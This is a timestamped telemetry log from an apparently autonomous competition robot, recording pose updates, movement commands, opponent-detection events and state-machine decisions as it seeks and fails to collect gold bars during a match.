l(['133.13','PIC',KeepAlive(current_pose = Pose(0.711688160896, 2.29317116737, 0.506829023361), match_started = True, match_time = 53040)])
l(['133.13','ARM',KeepAlive(current_pose = Pose(0.711688160896, 2.29317116737, 0.506829023361), match_started = True, match_time = 53040)])
l(['133.38','PIC',KeepAlive(current_pose = Pose(0.667028546333, 2.26834750175, 0.5074172616), match_started = True, match_time = 53290)])
l(['133.38','ARM',KeepAlive(current_pose = Pose(0.667028546333, 2.26834750175, 0.5074172616), match_started = True, match_time = 53290)])
l(['133.55','PIC',GotoFinished(reason = 0, current_pose = Pose(0.646849155426, 2.25707840919, 0.513700485229), current_point_index = 1)])
l(['133.56','ARM',Goto(movement = 0, direction = 1, angle = 1.50454234625, points = [])])
l(['133.59','PIC',GotoStarted()])
l(['133.63','PIC',KeepAlive(current_pose = Pose(0.64462518692, 2.2558221817, 0.515705704689), match_started = True, match_time = 53540)])
l(['133.63','ARM',KeepAlive(current_pose = Pose(0.64462518692, 2.2558221817, 0.515705704689), match_started = True, match_time = 53540)])
l(['133.88','PIC',KeepAlive(current_pose = Pose(0.645480394363, 2.2563958168, 0.664149165154), match_started = True, match_time = 53790)])
l(['133.88','ARM',KeepAlive(current_pose = Pose(0.645480394363, 2.2563958168, 0.664149165154), match_started = True, match_time = 53790)])
l(['134.13','PIC',KeepAlive(current_pose = Pose(0.64659100771, 2.25761604309, 0.992906749249), match_started = True, match_time = 54040)])
l(['134.13','ARM',KeepAlive(current_pose = Pose(0.64659100771, 2.25761604309, 0.992906749249), match_started = True, match_time = 54040)])
l(['134.38','PIC',KeepAlive(current_pose = Pose(0.646972239017, 2.25836396217, 1.32412409782), match_started = True, match_time = 54290)])
l(['134.38','ARM',KeepAlive(current_pose = Pose(0.646972239017, 2.25836396217, 1.32412409782), match_started = True, match_time = 54290)])
l(['134.57','PIC',GotoFinished(reason = 0, current_pose = Pose(0.64692991972, 2.258071661, 1.48486661911), current_point_index = 1)])
l(['134.57','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.586, 1.34, None)])])
l(['134.60','PIC',GotoStarted()])
l(['134.63','PIC',KeepAlive(current_pose = Pose(0.646916091442, 2.25787734985, 1.50213861465), match_started = True, match_time = 54540)])
l(['134.63','ARM',KeepAlive(current_pose = Pose(0.646916091442, 2.25787734985, 1.50213861465), match_started = True, match_time = 54540)])
l(['134.88','PIC',KeepAlive(current_pose = Pose(0.645009219646, 2.23304390907, 1.49347579479), match_started = True, match_time = 54790)])
l(['134.88','ARM',KeepAlive(current_pose = Pose(0.645009219646, 2.23304390907, 1.49347579479), match_started = True, match_time = 54790)])
l(['135.13','PIC',KeepAlive(current_pose = Pose(0.638532280922, 2.14657974243, 1.50892984867), match_started = True, match_time = 55040)])
l(['135.13','ARM',KeepAlive(current_pose = Pose(0.638532280922, 2.14657974243, 1.50892984867), match_started = True, match_time = 55040)])
l(['135.38','PIC',KeepAlive(current_pose = Pose(0.630985081196, 2.02844119072, 1.49711215496), match_started = True, match_time = 55290)])
l(['135.38','ARM',KeepAlive(current_pose = Pose(0.630985081196, 2.02844119072, 1.49711215496), match_started = True, match_time = 55290)])
l(['135.63','PIC',KeepAlive(current_pose = Pose(0.622824013233, 1.90698230267, 1.50574791431), match_started = True, match_time = 55540)])
l(['135.63','ARM',KeepAlive(current_pose = Pose(0.622824013233, 1.90698230267, 1.50574791431), match_started = True, match_time = 55540)])
l(['135.88','PIC',KeepAlive(current_pose = Pose(0.614470720291, 1.78316771984, 1.50459802151), match_started = True, match_time = 55790)])
l(['135.88','ARM',KeepAlive(current_pose = Pose(0.614470720291, 1.78316771984, 1.50459802151), match_started = True, match_time = 55790)])
l(['136.13','PIC',KeepAlive(current_pose = Pose(0.606529712677, 1.65934205055, 1.50235176086), match_started = True, match_time = 56040)])
l(['136.13','ARM',KeepAlive(current_pose = Pose(0.606529712677, 1.65934205055, 1.50235176086), match_started = True, match_time = 56040)])
l(['136.38','PIC',KeepAlive(current_pose = Pose(0.598273277283, 1.53488218784, 1.50999879837), match_started = True, match_time = 56290)])
l(['136.38','ARM',KeepAlive(current_pose = Pose(0.598273277283, 1.53488218784, 1.50999879837), match_started = True, match_time = 56290)])
l(['136.63','PIC',KeepAlive(current_pose = Pose(0.591022670269, 1.42285597324, 1.50368905067), match_started = True, match_time = 56540)])
l(['136.63','ARM',KeepAlive(current_pose = Pose(0.591022670269, 1.42285597324, 1.50368905067), match_started = True, match_time = 56540)])
l(['136.87','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['136.88','PIC',KeepAlive(current_pose = Pose(0.58738386631, 1.36635816097, 1.5109885931), match_started = True, match_time = 56790)])
l(['136.88','ARM',KeepAlive(current_pose = Pose(0.58738386631, 1.36635816097, 1.5109885931), match_started = True, match_time = 56790)])
l(['136.92','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['136.99','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['137.04','PIC',GotoFinished(reason = 0, current_pose = Pose(0.585930645466, 1.34209823608, 1.51109576225), current_point_index = 1)])
l(['137.04','ARM','# Poping sub-state TrajectoryWalk'])
l(['137.04','ARM','# Pushing sub-state Antiblocking'])
l(['137.04','ARM',DisableAntiBlocking()])
l(['137.04','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['137.05','PIC',DisableAntiBlocking()])
l(['137.05','ARM','# Poping sub-state Antiblocking'])
l(['137.05','ARM','# Poping sub-state Sequence'])
l(['137.05','ARM','# Poping sub-state Navigate'])
l(['137.05','ARM','# Pushing sub-state TakeGoldBar'])
l(['137.05','ARM','# Pushing sub-state TrajectoryWalk'])
l(['137.05','ARM',Goto(movement = 0, direction = 1, angle = 1.57108279948, points = [])])
l(['137.08','PIC',GotoStarted()])
l(['137.11','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['137.13','PIC',KeepAlive(current_pose = Pose(0.585749804974, 1.33907198906, 1.51155030727), match_started = True, match_time = 57040)])
l(['137.13','ARM',KeepAlive(current_pose = Pose(0.585749804974, 1.33907198906, 1.51155030727), match_started = True, match_time = 57040)])
l(['137.16','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['137.23','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['137.28','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['137.35','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['137.38','PIC',KeepAlive(current_pose = Pose(0.585762858391, 1.33947992325, 1.54978430271), match_started = True, match_time = 57290)])
l(['137.38','ARM',KeepAlive(current_pose = Pose(0.585762858391, 1.33947992325, 1.54978430271), match_started = True, match_time = 57290)])
l(['137.39','PIC',GotoFinished(reason = 0, current_pose = Pose(0.585764288902, 1.33954906464, 1.55106770992), current_point_index = 1)])
l(['137.39','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.586, 1.1, None)])])
l(['137.40','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['137.42','PIC',GotoStarted()])
l(['137.47','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['137.52','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['137.59','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['137.63','PIC',KeepAlive(current_pose = Pose(0.58558100462, 1.33013880253, 1.55256450176), match_started = True, match_time = 57540)])
l(['137.63','ARM',KeepAlive(current_pose = Pose(0.58558100462, 1.33013880253, 1.55256450176), match_started = True, match_time = 57540)])
l(['137.71','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['137.88','PIC',KeepAlive(current_pose = Pose(0.585210621357, 1.26944208145, 1.57007741928), match_started = True, match_time = 57790)])
l(['137.88','ARM',KeepAlive(current_pose = Pose(0.585210621357, 1.26944208145, 1.57007741928), match_started = True, match_time = 57790)])
l(['138.13','PIC',KeepAlive(current_pose = Pose(0.585214555264, 1.18427062035, 1.57309854031), match_started = True, match_time = 58040)])
l(['138.13','ARM',KeepAlive(current_pose = Pose(0.585214555264, 1.18427062035, 1.57309854031), match_started = True, match_time = 58040)])
l(['138.38','PIC',KeepAlive(current_pose = Pose(0.585227906704, 1.1314445734, 1.56751048565), match_started = True, match_time = 58290)])
l(['138.38','ARM',KeepAlive(current_pose = Pose(0.585227906704, 1.1314445734, 1.56751048565), match_started = True, match_time = 58290)])
l(['138.60','PIC',GotoFinished(reason = 0, current_pose = Pose(0.585131287575, 1.10227203369, 1.57071900368), current_point_index = 1)])
l(['138.60','ARM','# Pushing sub-state Antiblocking'])
l(['138.60','ARM',EnableAntiBlocking()])
l(['138.61','PIC',EnableAntiBlocking()])
l(['138.61','ARM','# Poping sub-state Antiblocking'])
l(['138.61','ARM',Goto(movement = 0, direction = 1, angle = 0.0, points = [])])
l(['138.64','PIC',GotoStarted()])
l(['138.67','PIC',KeepAlive(current_pose = Pose(0.585131347179, 1.10030853748, 1.57053184509), match_started = True, match_time = 58551)])
l(['138.67','ARM',KeepAlive(current_pose = Pose(0.585131347179, 1.10030853748, 1.57053184509), match_started = True, match_time = 58551)])
l(['138.84','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['138.88','PIC',KeepAlive(current_pose = Pose(0.585139751434, 1.10010123253, 1.46818304062), match_started = True, match_time = 58790)])
l(['138.88','ARM',KeepAlive(current_pose = Pose(0.585139751434, 1.10010123253, 1.46818304062), match_started = True, match_time = 58790)])
l(['139.03','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['139.13','PIC',KeepAlive(current_pose = Pose(0.58481657505, 1.09890794754, 1.04362690449), match_started = True, match_time = 59040)])
l(['139.13','ARM',KeepAlive(current_pose = Pose(0.58481657505, 1.09890794754, 1.04362690449), match_started = True, match_time = 59040)])
l(['139.16','PIC',TurretDetect(distance = 1, angle = 5, robot = 0)])
l(['139.28','PIC',TurretDetect(distance = 1, angle = 5, robot = 0)])
l(['139.29','PIC',TurretDetect(distance = 1, angle = 4, robot = 0)])
l(['139.38','PIC',KeepAlive(current_pose = Pose(0.584497332573, 1.09852039814, 0.524796426296), match_started = True, match_time = 59290)])
l(['139.38','ARM',KeepAlive(current_pose = Pose(0.584497332573, 1.09852039814, 0.524796426296), match_started = True, match_time = 59290)])
l(['139.41','PIC',TurretDetect(distance = 1, angle = 4, robot = 0)])
l(['139.42','PIC',TurretDetect(distance = 1, angle = 3, robot = 0)])
l(['139.43','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['139.54','PIC',TurretDetect(distance = 1, angle = 3, robot = 0)])
l(['139.63','PIC',KeepAlive(current_pose = Pose(0.583687365055, 1.0981811285, 0.17601275444), match_started = True, match_time = 59540)])
l(['139.63','ARM',KeepAlive(current_pose = Pose(0.583687365055, 1.0981811285, 0.17601275444), match_started = True, match_time = 59540)])
l(['139.66','PIC',TurretDetect(distance = 1, angle = 3, robot = 0)])
l(['139.80','PIC',GotoFinished(reason = 0, current_pose = Pose(0.583753824234, 1.09818208218, 0.0455631166697), current_point_index = 1)])
l(['139.80','ARM','# Pushing sub-state Antiblocking'])
l(['139.80','ARM',DisableAntiBlocking()])
l(['139.81','PIC',DisableAntiBlocking()])
l(['139.81','ARM','# Poping sub-state Antiblocking'])
l(['139.81','ARM','# Poping sub-state TrajectoryWalk'])
l(['139.81','ARM','# Pushing sub-state DetectAndTakeGoldbar'])
l(['139.81','ARM','# Pushing sub-state GetGoldBarStatus'])
l(['139.81','ARM',GoldBarDetection(status = 0)])
l(['139.81','PIC',GoldBarDetection(status = 0)])
l(['139.81','ARM','# Poping sub-state GetGoldBarStatus'])
l(['139.81','ARM','# Returned from substate'])
l(['139.81','ARM','# Goldbar was not detected'])
l(['139.81','ARM','# Goal done : OTHER_NORTH'])
l(['139.81','ARM','# Poping sub-state DetectAndTakeGoldbar'])
l(['139.81','ARM','# Poping sub-state TakeGoldBar'])
l(['139.81','ARM','# Switching to state FindNextGoal'])
l(['139.81','ARM','# Calling GoalManager'])
l(['139.82','ARM','# Evaluate goal OTHER_SOUTH'])
l(['139.82','ARM','# Evaluate goal OTHER_SOUTH'])
l(['139.84','ARM','# Goal OTHER_SOUTH nav cost = 71.6568603516'])
l(['139.84','ARM','# Goal OTHER_SOUTH nav cost = 83.6568603516'])
l(['139.84','ARM','# Goals by score : [\'OTHER_SOUTH:0.0\', \'OTHER_SOUTH:3.0\']'])
l(['139.84','ARM','# Best goal is OTHER_SOUTH with score 0.0'])
l(['139.84','ARM','# Next goal is OTHER_SOUTH'])
l(['139.84','ARM','# Time taken for decision taking 22.474 ms'])
l(['139.84','ARM','# Pushing sub-state Navigate'])
l(['139.84','ARM','# Compute route from (0.583753824234, 1.09818208218) to (1.414, 1.34)'])
l(['140.03','ARM','# Route computed. Length: 2.78533829433, Cost: 2.78533829433'])
l(['140.03','ARM','# Pushing sub-state Sequence'])
l(['140.03','ARM','# Pushing sub-state Antiblocking'])
l(['140.03','ARM',EnableAntiBlocking()])
l(['140.03','PIC',KeepAlive(current_pose = Pose(0.583687901497, 1.09817945957, 0.0301893651485), match_started = True, match_time = 59790)])
l(['140.03','ARM',KeepAlive(current_pose = Pose(0.583687901497, 1.09817945957, 0.0301893651485), match_started = True, match_time = 59790)])
l(['140.03','PIC',EnableAntiBlocking()])
l(['140.03','ARM','# Poping sub-state Antiblocking'])
l(['140.04','ARM','# Pushing sub-state TrajectoryWalk'])
l(['140.04','ARM',Goto(movement = 0, direction = 1, angle = -1.62374731031, points = [])])
l(['140.04','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['140.07','PIC',GotoStarted()])
l(['140.13','PIC',KeepAlive(current_pose = Pose(0.583659768105, 1.0981785059, 0.0319272615016), match_started = True, match_time = 60040)])
l(['140.15','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['140.27','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['140.38','PIC',KeepAlive(current_pose = Pose(0.582812190056, 1.09819233418, -0.0928273797035), match_started = True, match_time = 60290)])
l(['140.38','ARM',KeepAlive(current_pose = Pose(0.582812190056, 1.09819233418, -0.0928273797035), match_started = True, match_time = 60290)])
l(['140.39','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['140.46','PIC',TurretDetect(distance = 0, angle = 1, robot = 0)])
l(['140.51','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['140.53','PIC',TurretDetect(distance = 0, angle = 0, robot = 0)])
l(['140.63','PIC',KeepAlive(current_pose = Pose(0.580937504768, 1.09881985188, -0.650907874107), match_started = True, match_time = 60540)])
l(['140.63','ARM',KeepAlive(current_pose = Pose(0.580937504768, 1.09881985188, -0.650907874107), match_started = True, match_time = 60540)])
l(['140.64','PIC',TurretDetect(distance = 1, angle = 1, robot = 0)])
l(['140.71','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['140.73','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['140.83','PIC',TurretDetect(distance = 1, angle = 0, robot = 0)])
l(['140.84','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['140.85','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['140.88','PIC',KeepAlive(current_pose = Pose(0.580231189728, 1.09978055954, -1.22805202007), match_started = True, match_time = 60790)])
l(['140.88','ARM',KeepAlive(current_pose = Pose(0.580231189728, 1.09978055954, -1.22805202007), match_started = True, match_time = 60790)])
l(['140.96','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['140.97','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['140.98','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['141.09','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['141.10','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['141.13','PIC',KeepAlive(current_pose = Pose(0.580368578434, 1.0989522934, -1.50301468372), match_started = True, match_time = 61040)])
l(['141.13','ARM',KeepAlive(current_pose = Pose(0.580368578434, 1.0989522934, -1.50301468372), match_started = True, match_time = 61040)])
l(['141.21','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['141.22','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['141.25','PIC',GotoFinished(reason = 0, current_pose = Pose(0.580383121967, 1.0983620882, -1.57777118683), current_point_index = 1)])
l(['141.25','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.645, 2.255, None)])])
l(['141.28','PIC',GotoStarted()])
l(['141.33','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['141.34','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['141.38','PIC',KeepAlive(current_pose = Pose(0.580400168896, 1.09915041924, -1.58934855461), match_started = True, match_time = 61290)])
l(['141.38','ARM',KeepAlive(current_pose = Pose(0.580400168896, 1.09915041924, -1.58934855461), match_started = True, match_time = 61290)])
l(['141.45','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['141.46','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['141.57','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['141.58','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['141.63','PIC',KeepAlive(current_pose = Pose(0.58126115799, 1.12936508656, -1.61870551109), match_started = True, match_time = 61540)])
l(['141.63','ARM',KeepAlive(current_pose = Pose(0.58126115799, 1.12936508656, -1.61870551109), match_started = True, match_time = 61540)])
l(['141.69','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['141.81','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['141.82','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['141.88','PIC',KeepAlive(current_pose = Pose(0.587570786476, 1.2236199379, -1.63972079754), match_started = True, match_time = 61790)])
l(['141.88','ARM',KeepAlive(current_pose = Pose(0.587570786476, 1.2236199379, -1.63972079754), match_started = True, match_time = 61790)])
l(['141.93','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['142.05','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['142.06','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['142.13','PIC',KeepAlive(current_pose = Pose(0.59458476305, 1.34232318401, -1.62391912937), match_started = True, match_time = 62040)])
l(['142.13','ARM',KeepAlive(current_pose = Pose(0.59458476305, 1.34232318401, -1.62391912937), match_started = True, match_time = 62040)])
l(['142.18','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['142.30','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['142.38','PIC',KeepAlive(current_pose = Pose(0.601936936378, 1.46371376514, -1.62940037251), match_started = True, match_time = 62290)])
l(['142.38','ARM',KeepAlive(current_pose = Pose(0.601936936378, 1.46371376514, -1.62940037251), match_started = True, match_time = 62290)])
l(['142.41','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['142.53','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['142.63','PIC',KeepAlive(current_pose = Pose(0.608718693256, 1.58705461025, -1.62667310238), match_started = True, match_time = 62540)])
l(['142.63','ARM',KeepAlive(current_pose = Pose(0.608718693256, 1.58705461025, -1.62667310238), match_started = True, match_time = 62540)])
l(['142.88','PIC',KeepAlive(current_pose = Pose(0.615771651268, 1.71056878567, -1.62052345276), match_started = True, match_time = 62790)])
l(['142.88','ARM',KeepAlive(current_pose = Pose(0.615771651268, 1.71056878567, -1.62052345276), match_started = True, match_time = 62790)])
l(['143.13','PIC',KeepAlive(current_pose = Pose(0.622464358807, 1.83453738689, -1.62694036961), match_started = True, match_time = 63040)])
l(['143.13','ARM',KeepAlive(current_pose = Pose(0.622464358807, 1.83453738689, -1.62694036961), match_started = True, match_time = 63040)])
l(['143.38','PIC',KeepAlive(current_pose = Pose(0.629355430603, 1.95859313011, -1.62835741043), match_started = True, match_time = 63290)])
l(['143.38','ARM',KeepAlive(current_pose = Pose(0.629355430603, 1.95859313011, -1.62835741043), match_started = True, match_time = 63290)])
l(['143.63','PIC',KeepAlive(current_pose = Pose(0.636757016182, 2.08361005783, -1.62140572071), match_started = True, match_time = 63540)])
l(['143.63','ARM',KeepAlive(current_pose = Pose(0.636757016182, 2.08361005783, -1.62140572071), match_started = True, match_time = 63540)])
l(['143.88','PIC',KeepAlive(current_pose = Pose(0.641920030117, 2.18269610405, -1.62244832516), match_started = True, match_time = 63790)])
l(['143.88','ARM',KeepAlive(current_pose = Pose(0.641920030117, 2.18269610405, -1.62244832516), match_started = True, match_time = 63790)])
l(['144.13','PIC',KeepAlive(current_pose = Pose(0.644513964653, 2.2350897789, -1.61817026138), match_started = True, match_time = 64040)])
l(['144.13','ARM',KeepAlive(current_pose = Pose(0.644513964653, 2.2350897789, -1.61817026138), match_started = True, match_time = 64040)])
l(['144.26','PIC',GotoFinished(reason = 0, current_pose = Pose(0.645317018032, 2.252648592, -1.61413300037), current_point_index = 1)])
l(['144.26','ARM',Goto(movement = 0, direction = 1, angle = -3.13827934404, points = [])])
l(['144.29','PIC',GotoStarted()])
l(['144.38','PIC',KeepAlive(current_pose = Pose(0.645457267761, 2.25588178635, -1.62274217606), match_started = True, match_time = 64290)])
l(['144.38','ARM',KeepAlive(current_pose = Pose(0.645457267761, 2.25588178635, -1.62274217606), match_started = True, match_time = 64290)])
l(['144.63','PIC',KeepAlive(current_pose = Pose(0.645491480827, 2.25555109978, -1.85104942322), match_started = True, match_time = 64540)])
l(['144.63','ARM',KeepAlive(current_pose = Pose(0.645491480827, 2.25555109978, -1.85104942322), match_started = True, match_time = 64540)])
l(['144.88','PIC',KeepAlive(current_pose = Pose(0.645914912224, 2.25629520416, -2.34386491776), match_started = True, match_time = 64790)])
l(['144.88','ARM',KeepAlive(current_pose = Pose(0.645914912224, 2.25629520416, -2.34386491776), match_started = True, match_time = 64790)])
l(['145.13','PIC',KeepAlive(current_pose = Pose(0.646994888783, 2.25685429573, -2.81208252907), match_started = True, match_time = 65040)])
l(['145.13','ARM',KeepAlive(current_pose = Pose(0.646994888783, 2.25685429573, -2.81208252907), match_started = True, match_time = 65040)])
l(['145.38','PIC',KeepAlive(current_pose = Pose(0.6471555233, 2.25686383247, -3.06006741524), match_started = True, match_time = 65290)])
l(['145.38','ARM',KeepAlive(current_pose = Pose(0.6471555233, 2.25686383247, -3.06006741524), match_started = True, match_time = 65290)])
l(['145.41','PIC',GotoFinished(reason = 0, current_pose = Pose(0.647136807442, 2.25686192513, -3.08311462402), current_point_index = 1)])
l(['145.41','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.355, 2.255, None)])])
l(['145.44','PIC',GotoStarted()])
l(['145.63','PIC',KeepAlive(current_pose = Pose(0.653054773808, 2.25707840919, -3.1074719429), match_started = True, match_time = 65540)])
l(['145.63','ARM',KeepAlive(current_pose = Pose(0.653054773808, 2.25707840919, -3.1074719429), match_started = True, match_time = 65540)])
l(['145.88','PIC',KeepAlive(current_pose = Pose(0.712191045284, 2.25702118874, 3.12357616425), match_started = True, match_time = 65790)])
l(['145.88','ARM',KeepAlive(current_pose = Pose(0.712191045284, 2.25702118874, 3.12357616425), match_started = True, match_time = 65790)])
l(['146.13','PIC',KeepAlive(current_pose = Pose(0.822005927563, 2.25609135628, 3.13574194908), match_started = True, match_time = 66040)])
l(['146.13','ARM',KeepAlive(current_pose = Pose(0.822005927563, 2.25609135628, 3.13574194908), match_started = True, match_time = 66040)])
l(['146.38','PIC',KeepAlive(current_pose = Pose(0.940718352795, 2.25559735298, -3.13926172256), match_started = True, match_time = 66290)])
l(['146.38','ARM',KeepAlive(current_pose = Pose(0.940718352795, 2.25559735298, -3.13926172256), match_started = True, match_time = 66290)])
l(['146.63','PIC',KeepAlive(current_pose = Pose(1.06431794167, 2.25455570221, 3.13122344017), match_started = True, match_time = 66540)])
l(['146.63','ARM',KeepAlive(current_pose = Pose(1.06431794167, 2.25455570221, 3.13122344017), match_started = True, match_time = 66540)])
l(['146.88','PIC',KeepAlive(current_pose = Pose(1.18852543831, 2.25447773933, 3.14092898369), match_started = True, match_time = 66790)])
l(['146.88','ARM',KeepAlive(current_pose = Pose(1.18852543831, 2.25447773933, 3.14092898369), match_started = True, match_time = 66790)])
l(['147.13','PIC',KeepAlive(current_pose = Pose(1.28738987446, 2.25405812263, 3.14066171646), match_started = True, match_time = 67040)])
l(['147.13','ARM',KeepAlive(current_pose = Pose(1.28738987446, 2.25405812263, 3.14066171646), match_started = True, match_time = 67040)])
l(['147.38','PIC',KeepAlive(current_pose = Pose(1.33705818653, 2.25425004959, -3.13450241089), match_started = True, match_time = 67290)])
l(['147.38','ARM',KeepAlive(current_pose = Pose(1.33705818653, 2.25425004959, -3.13450241089), match_started = True, match_time = 67290)])
l(['147.50','PIC',GotoFinished(reason = 0, current_pose = Pose(1.35216271877, 2.25436353683, -3.13263082504), current_point_index = 1)])
l(['147.51','ARM',Goto(movement = 0, direction = 1, angle = 1.63832227525, points = [])])
l(['147.54','PIC',GotoStarted()])
l(['147.63','PIC',KeepAlive(current_pose = Pose(1.35493028164, 2.25438928604, 3.1407418251), match_started = True, match_time = 67540)])
l(['147.63','ARM',KeepAlive(current_pose = Pose(1.35493028164, 2.25438928604, 3.1407418251), match_started = True, match_time = 67540)])
l(['147.88','PIC',KeepAlive(current_pose = Pose(1.35472476482, 2.25434160233, 2.91379880905), match_started = True, match_time = 67790)])
l(['147.88','ARM',KeepAlive(current_pose = Pose(1.35472476482, 2.25434160233, 2.91379880905), match_started = True, match_time = 67790)])
l(['148.13','PIC',KeepAlive(current_pose = Pose(1.35599780083, 2.2537779808, 2.42905807495), match_started = True, match_time = 68040)])
l(['148.13','ARM',KeepAlive(current_pose = Pose(1.35599780083, 2.2537779808, 2.42905807495), match_started = True, match_time = 68040)])
l(['148.38','PIC',KeepAlive(current_pose = Pose(1.35641992092, 2.25329232216, 1.96856784821), match_started = True, match_time = 68290)])
l(['148.38','ARM',KeepAlive(current_pose = Pose(1.35641992092, 2.25329232216, 1.96856784821), match_started = True, match_time = 68290)])
l(['148.63','PIC',KeepAlive(current_pose = Pose(1.35630762577, 2.25380086899, 1.72996735573), match_started = True, match_time = 68540)])
l(['148.63','ARM',KeepAlive(current_pose = Pose(1.35630762577, 2.25380086899, 1.72996735573), match_started = True, match_time = 68540)])
l(['148.70','PIC',GotoFinished(reason = 0, current_pose = Pose(1.35626530647, 2.25410580635, 1.69103837013), current_point_index = 1)])
l(['148.70','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 1.34, None)])])
l(['148.73','PIC',GotoStarted()])
l(['148.88','PIC',KeepAlive(current_pose = Pose(1.35649967194, 2.25190925598, 1.67710852623), match_started = True, match_time = 68790)])
l(['148.88','ARM',KeepAlive(current_pose = Pose(1.35649967194, 2.25190925598, 1.67710852623), match_started = True, match_time = 68790)])
l(['149.13','PIC',KeepAlive(current_pose = Pose(1.35974144936, 2.20927166939, 1.62296617031), match_started = True, match_time = 69040)])
l(['149.13','ARM',KeepAlive(current_pose = Pose(1.35974144936, 2.20927166939, 1.62296617031), match_started = True, match_time = 69040)])
l(['149.38','PIC',KeepAlive(current_pose = Pose(1.3640422821, 2.11368203163, 1.58534729481), match_started = True, match_time = 69290)])
l(['149.38','ARM',KeepAlive(current_pose = Pose(1.3640422821, 2.11368203163, 1.58534729481), match_started = True, match_time = 69290)])
l(['149.63','PIC',KeepAlive(current_pose = Pose(1.36265671253, 2.07187747955, 1.46727693081), match_started = True, match_time = 69540)])
l(['149.63','ARM',KeepAlive(current_pose = Pose(1.36265671253, 2.07187747955, 1.46727693081), match_started = True, match_time = 69540)])
l(['149.88','PIC',KeepAlive(current_pose = Pose(1.36238896847, 2.06943225861, 1.45420229435), match_started = True, match_time = 69790)])
l(['149.88','ARM',KeepAlive(current_pose = Pose(1.36238896847, 2.06943225861, 1.45420229435), match_started = True, match_time = 69790)])
l(['150.13','PIC',KeepAlive(current_pose = Pose(1.3623893261, 2.06943535805, 1.45422899723), match_started = True, match_time = 70040)])
l(['150.13','ARM',KeepAlive(current_pose = Pose(1.3623893261, 2.06943535805, 1.45422899723), match_started = True, match_time = 70040)])
l(['150.23','PIC',GotoFinished(reason = 2, current_pose = Pose(1.36239683628, 2.06950044632, 1.45468378067), current_point_index = 1)])
l(['150.23','ARM','# Poping sub-state TrajectoryWalk'])
l(['150.23','ARM','# Pushing sub-state Antiblocking'])
l(['150.23','ARM',DisableAntiBlocking()])
l(['150.24','PIC',DisableAntiBlocking()])
l(['150.24','ARM','# Poping sub-state Antiblocking'])
l(['150.24','ARM','# Poping sub-state Sequence'])
l(['150.24','ARM','# Poping sub-state Navigate'])
l(['150.24','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['150.24','ARM','# Switching to state FindNextGoal'])
l(['150.24','ARM','# Calling GoalManager'])
l(['150.24','ARM','# Evaluate goal OTHER_SOUTH'])
l(['150.24','ARM','# Evaluate goal OTHER_SOUTH'])
l(['150.24','ARM','# Goal OTHER_SOUTH nav cost = 19.4142131805'])
l(['150.24','ARM','# Goal OTHER_SOUTH nav cost = 31.4142131805'])
l(['150.24','ARM','# Goals by score : [\'OTHER_SOUTH:100.0\', \'OTHER_SOUTH:103.0\']'])
l(['150.24','ARM','# Best goal is OTHER_SOUTH with score 100.0'])
l(['150.24','ARM','# Next goal is OTHER_SOUTH'])
l(['150.24','ARM','# Time taken for decision taking 3.40299999999 ms'])
l(['150.24','ARM','# Pushing sub-state Navigate'])
l(['150.24','ARM','# Compute route from (1.36239683628, 2.06950044632) to (1.414, 1.34)'])
l(['150.41','ARM','# Route computed. Length: 0.731323312692, Cost: 0.731323312692'])
